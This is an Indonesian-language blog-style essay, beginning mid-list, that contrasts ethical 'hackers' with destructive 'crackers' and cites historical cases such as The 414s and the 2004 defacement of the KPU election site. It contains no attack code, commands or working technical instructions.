 Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
 Tidak pernah secara sengaja menghapus & merusak file dikomputer yang dihack.
 Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Hacker Sejati akan selalu bertindak berlandaskan kode etik dan aturan main sedang Cracker tidak mempunyai kode etik aturan main karena cracker sifatnya merusak.

PERBEDAAN HACKER DAN CRACKER :
a) HACKER
1. Mempunyai kemampuan menganalisa kelemahan suatu system atau situs. Sebagai contoh : Jika seseoorang hacker mencoba menguji situs Yahoo! Dipastikan isi situs tersebut tak akan berantakan dan menggangu yang lain. Biasanya hackermelaporkan kejadian ini untuk diperbaiki menjadi sempurna.
2. Hacker mempunyai etika serta kreatif dalam merancang suatu program yang berguna bagis siapa saja.
3. Seorang Hacker tidak pelit mebagi ilmunya kepada orang-orang yang serius atas nama ilmu pengetahuan dan kebaikan.
b) CRACKER
1. Mampu membuat suatu program bagi kepentingan dirinya sendiri dan bersifat destruktif atau merusak dan menjadikannya suatu keuntungan untuknya. Sebagai contoh : Virus, Pencurian Kartu Kredit, Kode Warez, Pembobolan Rekening Bank, Pencurian Password E-mail / Web Server.
2. Bisa berdiri sendiri atau berkelompok dalam bertindak.
3. Mempunyai situs atau channel dalam IRC yang tersembunyi, hanya orang-orang tertentu yang bisa mengaksesnya.
4. Mempunyai IP yang tidak bisa dilacak.
5. Kasus yang paling sering ialah Carding atau pencurian Kartu Kredit, kemudian pembobolan situs dan mengubah segala isinya dan menjadi berantakan. Sebagai contoh : Yahoo! Pernah mengalami kejadian seperti ini sehingga tidak bisa diakses dalam waktu yang lama, kasus clickBCA.Com yang paling hangat dibicarakan tahun 2001 yang lalu.

DUA JENIS KEGIATAN HACKING :
1. Social Hacking, yang perlu diketahui: Informasi tentang system apa yang dipergunakan oleh server, koneksi yang dipergunakan jenis apa lalu bagaimana server itu tersambung internet.mempergunakan koneksi siapa lalu informasi apa saja yang disediakan oleh server tersebut,apakah server tersebut juga tersambung dengan LAN disebuah organisasi dan informasi lainnya.
2. Technical Hacking, merupakan tindakan teknis untuk melakukan penyusupan ke dalam system,baik dengan alat bantu (tools) atau dengan mempergunakan fasilitas system itu sendiri yang dipergunakan untuk menyerang kelemahan (lubang keamanan) yang terdapat dalam system atau service. Inti dari kegiatan ini adalah mendapatkan akses penuh kedalam system dangan cara apapun dan bagaimanapun.

CONTOH KASUS HACKER :
1. Pada tahun 1983,pertama kalinya FBI menangkap kelompok criminal computer The 414s (414 merupakan kode area local mereka) yang berbasis di milwauke AS. Kelompok yang kemudian disebut Hacker tersebut melakukan pembobolan 60 buah Komputer,dari computer milik pusat Kanker Memorial Sloan-Kettering hingga computer milik Laboratorium Nasional Loas Alamos.Salah satu dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya,sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.
2. Digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan computer dengan menggunakan teknik-teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya; game Chrono Trigger berbahasa Indonesia. Oleh karena itu,status Digigumi adalah Hacker,namun bukan sebagai perusak.
3. Pada hari Sabtu 17 April 2004.Dani Firmansyah, konsultan Teknologi Informasi (TI) Danareksa di Jakarta berhasil membobol situs milik Komisi Pemilihan Umum (KPU) di http://tnp.kpu.go.id dan mengubah nama-nama partai di dalamnya menjadi nama-nama “unik”,seperti Partai Kolor Ijo,Partai Mbah Jambon,Partai Jambu,dan lain sebagainya. Dani menggunakan teknik SQL Injection (pada dasarnya teknik tersebut adalah dengan cara mengetikkan string atau perintah tertentu di address bar browser) untuk menjebol situs KPU.Kemudian Dani tertangkap pada hari Kamis,22 April 2004.

AKIBAT YG DITIMBULAN OLEH HACKER & CRACKER :
HACKER : membuat teknologi internet semakin maju karena hacker menggunakan keahliannya dalam hal computer untuk melihat, menemukan dan memperbaiki kelemahan system keamanan dalam sebuah system computer ataupun dalam sebuah software, membuat gairah bekerja seorang administrator kembali hidup karena hacker membantu administrator untuk memperkuat jaringan mereka.

CRACKER : Merusak dan melumpuhkan keseluruhan system computer,sehingga data-data pengguna jaringan rusak,hilang,ataupun berubah..

KESIMPULAN :
Para HACKER menggunakan keahliannya dalam hal computer untuk melihat,menemukan dan meperbaiki kelemahan system keamanan dalam sebuah system computer ataupun dalam sebuah software. Oleh karena itu,berkat para hackerlah Internet ada dan dapat kita nikmati seperti sekarang ini,bahkan terus diperbaiki untuk menjadi system yang lebih baik lagi. Maka HACKER dapat disebut juga sebagai PAHLAWAN Jaringan,sedang CRACKER dapat disebut juga sebagai PENJAHAT jaringan karena melakukan penyusupan dengan maksud menguntungkan dirinya secara personality dengan maksud merugikan orang lain. Hacker sering disebut Hacker Putih (yang merupakan HACKER SEJATI yang sifatnya MEMBANGUN) dan Hacker Hitam (Cracker yang sifatnya MEMBONGKAR dan MERUSAK)…
By:StarLight TusaCrew
Selengkapnya...